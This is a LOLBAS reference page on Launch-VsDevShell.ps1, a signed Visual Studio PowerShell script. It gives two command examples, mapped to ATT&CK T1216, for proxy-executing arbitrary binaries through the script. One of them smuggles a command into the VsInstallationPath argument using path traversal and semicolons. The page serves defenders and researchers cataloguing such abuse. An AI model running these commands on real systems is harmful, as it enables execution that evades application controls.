LOLBAS. GitHub
LIVING OFF THE LAND / OS SCRIPTS

Launch-VsDevShell.ps1

View source

Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet

Execute
02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute2

EXAMPLE 01T1216

Execute binaries from the context of the signed script using the "VsWherePath" flag.

COMMAND
powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}
USE CASE
Proxy execution
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · EXE
EXAMPLE 02T1216

Execute binaries and commands from the context of the signed script using the "VsInstallationPath" flag.

COMMAND
powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; {PATH:.exe} ;"
USE CASE
Proxy execution
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · EXE
02 / ON DISK

Known paths

C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\Launch-VsDevShell.ps1
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Launch-VsDevShell.ps1
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Nasreddine Bencherchali@nas_bench